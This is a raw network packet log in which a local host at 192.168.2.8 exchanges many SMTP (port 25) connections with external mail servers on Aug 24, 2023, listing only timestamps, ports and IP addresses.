Aug 24, 2023 19:03:56.821805000 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.821805000 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.821844101 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.821844101 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.821912050 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.821912050 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.821912050 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.827646971 CEST	50455	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.828367949 CEST	25	50454	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.828547955 CEST	50454	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.830745935 CEST	25	50443	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:56.830779076 CEST	25	50443	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:56.831387997 CEST	25	50450	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:56.832036972 CEST	50443	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:56.832089901 CEST	50450	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:56.832529068 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.838355064 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:56.839601994 CEST	25	50433	64.251.189.9	192.168.2.8
Aug 24, 2023 19:03:56.845124006 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.846107006 CEST	50423	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:56.846164942 CEST	50433	25	192.168.2.8	64.251.189.9
Aug 24, 2023 19:03:56.850872993 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.850927114 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.850927114 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.850927114 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.850927114 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.850944042 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.850944042 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.850944042 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.850955963 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.850976944 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.851001024 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.868058920 CEST	25	50454	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.869112015 CEST	25	50454	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.869277954 CEST	50454	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.872190952 CEST	25	50446	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.872281075 CEST	25	50446	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.872406006 CEST	50446	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.876419067 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.879715919 CEST	25	50441	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.880415916 CEST	25	50441	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.880676031 CEST	50441	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.881546974 CEST	25	50441	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.881684065 CEST	50441	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.883434057 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.888139009 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.888185024 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.888210058 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.888353109 CEST	50440	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.888499975 CEST	50440	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.893517017 CEST	25	50444	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:56.900034904 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.900574923 CEST	50438	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.907474995 CEST	25	50453	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.907694101 CEST	50453	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.910243034 CEST	25	50056	108.178.59.182	192.168.2.8
Aug 24, 2023 19:03:56.910626888 CEST	50056	25	192.168.2.8	108.178.59.182
Aug 24, 2023 19:03:56.912636042 CEST	25	50454	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.913959980 CEST	25	50454	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.914258957 CEST	50454	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.915164948 CEST	25	50454	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.915529013 CEST	50454	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.919260025 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.922362089 CEST	25	50449	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.922759056 CEST	50449	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.923557997 CEST	50456	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:56.925703049 CEST	25	50451	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:56.925947905 CEST	50451	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:56.930147886 CEST	25	50445	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:56.930269003 CEST	25	50445	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:56.930718899 CEST	50445	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:56.945874929 CEST	25	50443	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:56.945943117 CEST	25	50443	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:56.946120024 CEST	50443	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:56.946196079 CEST	50443	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:56.948848009 CEST	25	50442	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.949980974 CEST	25	50442	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.950217962 CEST	50442	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.951102972 CEST	25	50442	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.951237917 CEST	50442	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.953847885 CEST	25	50454	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.977411032 CEST	50457	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:56.978243113 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:56.988591909 CEST	25	50446	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.988758087 CEST	25	50446	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.988881111 CEST	50446	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.988935947 CEST	50446	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.991342068 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.991672993 CEST	25	50419	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.001671076 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.001830101 CEST	25	50450	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:57.003655910 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.003895044 CEST	50417	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.010643959 CEST	25	50455	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.010864019 CEST	50455	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.014977932 CEST	50458	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:57.022531033 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:57.032409906 CEST	50459	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:57.038140059 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.048500061 CEST	25	50441	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:57.052726030 CEST	25	50451	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.052831888 CEST	25	50451	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.052975893 CEST	50451	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:57.055979013 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.056137085 CEST	50427	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.056170940 CEST	25	50456	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:57.056266069 CEST	50456	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:57.062899113 CEST	25	50443	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:57.068639040 CEST	25	50445	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.068778992 CEST	25	50445	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.068917036 CEST	50445	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:57.075248957 CEST	50460	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:57.076544046 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.076615095 CEST	25	50056	108.178.59.182	192.168.2.8
Aug 24, 2023 19:03:57.076889038 CEST	50056	25	192.168.2.8	108.178.59.182
Aug 24, 2023 19:03:57.079919100 CEST	25	50453	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:57.080116034 CEST	50453	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:57.085505962 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085561037 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085561037 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085577965 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085602999 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085619926 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085652113 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085671902 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085710049 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085716009 CEST	25	50433	64.251.189.9	192.168.2.8
Aug 24, 2023 19:03:57.085745096 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.085745096 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.093234062 CEST	25	50457	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:57.093348980 CEST	50457	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:57.093694925 CEST	25	50449	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.093722105 CEST	25	50449	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.093914032 CEST	50449	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.103138924 CEST	25	50446	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:57.104535103 CEST	25	50460	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:57.104633093 CEST	50460	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:57.107984066 CEST	50461	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:57.110165119 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.117465973 CEST	25	50433	64.251.189.9	192.168.2.8
Aug 24, 2023 19:03:57.117702007 CEST	50433	25	192.168.2.8	64.251.189.9
Aug 24, 2023 19:03:57.119308949 CEST	25	50450	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:57.119347095 CEST	25	50450	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:57.123727083 CEST	25	50442	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:57.131741047 CEST	25	50458	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:57.131984949 CEST	50458	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:57.135030985 CEST	25	50460	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:57.135234118 CEST	50460	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:57.153861046 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.153896093 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.153917074 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.153938055 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.153956890 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.153971910 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.153990030 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.154006004 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.154021025 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.154036999 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.154055119 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.158766985 CEST	25	50419	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.158981085 CEST	50419	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.164486885 CEST	25	50460	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:57.166333914 CEST	25	50459	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.166475058 CEST	50459	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:57.167342901 CEST	25	50460	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:57.167474031 CEST	50460	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:57.178397894 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178452015 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178466082 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178483963 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178493023 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178500891 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178509951 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178525925 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178541899 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178563118 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.178580999 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.178600073 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.179517031 CEST	25	50451	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.179568052 CEST	25	50451	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.179779053 CEST	50451	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:57.190675020 CEST	25	50456	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:57.196962118 CEST	25	50460	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:57.199174881 CEST	50456	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:57.199210882 CEST	50460	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:57.200850964 CEST	50462	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:57.206577063 CEST	25	50445	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.206806898 CEST	25	50445	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.206867933 CEST	50445	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:57.210051060 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:57.210213900 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:57.210357904 CEST	25	50457	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:57.210464001 CEST	50457	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:57.218727112 CEST	50463	25	192.168.2.8	38.111.141.181
Aug 24, 2023 19:03:57.221451998 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.221569061 CEST	50461	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:57.231431007 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.233102083 CEST	25	50460	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:57.238845110 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.239152908 CEST	50422	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.240727901 CEST	25	50460	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:57.240891933 CEST	50460	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:57.250773907 CEST	25	50453	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:57.251601934 CEST	25	50453	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:57.251812935 CEST	50453	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:57.257544994 CEST	25	50433	64.251.189.9	192.168.2.8
Aug 24, 2023 19:03:57.257678986 CEST	25	50433	64.251.189.9	192.168.2.8
Aug 24, 2023 19:03:57.257776022 CEST	50433	25	192.168.2.8	64.251.189.9
Aug 24, 2023 19:03:57.265218973 CEST	25	50449	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.265536070 CEST	50449	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.270510912 CEST	25	50460	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:57.270742893 CEST	50460	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:57.272203922 CEST	50464	25	192.168.2.8	8.12.52.45
Aug 24, 2023 19:03:57.273741961 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.275075912 CEST	50465	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:57.278996944 CEST	50466	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.283153057 CEST	25	50056	108.178.59.182	192.168.2.8
Aug 24, 2023 19:03:57.301069975 CEST	25	50459	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.301351070 CEST	50459	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:57.304269075 CEST	25	50458	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:57.304456949 CEST	50458	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:57.306499958 CEST	25	50451	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.306695938 CEST	25	50451	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:57.306772947 CEST	50451	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:57.311646938 CEST	25	50455	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.311892986 CEST	50455	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.319220066 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:57.319252968 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:57.319489002 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.319542885 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:57.324676037 CEST	50467	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.327372074 CEST	25	50457	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:57.327517033 CEST	50457	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:57.332676888 CEST	25	50463	38.111.141.181	192.168.2.8
Aug 24, 2023 19:03:57.332706928 CEST	25	50456	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:57.332880020 CEST	50463	25	192.168.2.8	38.111.141.181
Aug 24, 2023 19:03:57.333000898 CEST	50456	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:57.335577011 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.335957050 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.336122990 CEST	50461	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:57.337162018 CEST	25	50462	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:57.337347984 CEST	50462	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:57.344619036 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:57.344877958 CEST	50423	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.383234978 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:57.383383036 CEST	50464	25	192.168.2.8	8.12.52.45
Aug 24, 2023 19:03:57.388462067 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.392517090 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.392713070 CEST	50438	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.403876066 CEST	50468	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:57.413084030 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413122892 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413141966 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413158894 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413177013 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413194895 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413211107 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413228989 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413247108 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413264990 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.413284063 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.414684057 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.414819002 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.415013075 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.415081978 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.420968056 CEST	25	50458	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:57.421143055 CEST	50458	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:57.422352076 CEST	25	50453	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:57.423475027 CEST	25	50453	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:57.423612118 CEST	50453	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:57.424588919 CEST	25	50453	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:57.424662113 CEST	50453	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:57.426902056 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:57.427582979 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:57.427679062 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:57.433753967 CEST	25	50465	139.173.84.185	192.168.2.8
Aug 24, 2023 19:03:57.435146093 CEST	25	50459	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.435822010 CEST	25	50459	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.435992002 CEST	50459	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:57.436701059 CEST	25	50449	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.436796904 CEST	50449	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.443943977 CEST	25	50457	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:57.444231987 CEST	50457	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:57.449573994 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.449728012 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.449978113 CEST	50461	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:57.451603889 CEST	50469	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:57.464721918 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464721918 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464811087 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464811087 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464811087 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464811087 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464811087 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464811087 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464835882 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464844942 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.464869022 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:57.466523886 CEST	25	50456	104.47.73.10	192.168.2.8
Aug 24, 2023 19:03:57.466753960 CEST	50456	25	192.168.2.8	104.47.73.10
Aug 24, 2023 19:03:57.476779938 CEST	50470	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:57.477453947 CEST	25	50462	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:57.478180885 CEST	50462	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:57.485806942 CEST	25	50419	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.493305922 CEST	25	50455	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.493359089 CEST	25	50455	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.494360924 CEST	25	50464	8.12.52.45	192.168.2.8
Aug 24, 2023 19:03:57.495160103 CEST	25	50467	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:57.495318890 CEST	50467	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.506256104 CEST	50455	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:57.526349068 CEST	25	50468	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:57.526585102 CEST	50468	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:57.527744055 CEST	25	50463	38.111.141.181	192.168.2.8
Aug 24, 2023 19:03:57.527993917 CEST	50463	25	192.168.2.8	38.111.141.181
Aug 24, 2023 19:03:57.528742075 CEST	25	50463	38.111.141.181	192.168.2.8
Aug 24, 2023 19:03:57.528856993 CEST	50463	25	192.168.2.8	38.111.141.181
Aug 24, 2023 19:03:57.533566952 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.533612967 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.533792973 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.535609961 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:57.537262917 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:57.537363052 CEST	25	50458	52.207.128.88	192.168.2.8
Aug 24, 2023 19:03:57.547233105 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.547414064 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:57.547465086 CEST	50458	25	192.168.2.8	52.207.128.88
Aug 24, 2023 19:03:57.558892012 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:57.559145927 CEST	50427	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:57.561067104 CEST	25	50457	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:57.561333895 CEST	50457	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:57.563556910 CEST	25	50461	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:57.563808918 CEST	50461	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:57.570571899 CEST	25	50459	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:57.570780039 CEST	50459	25	192.168.2.8	98.136.96.74
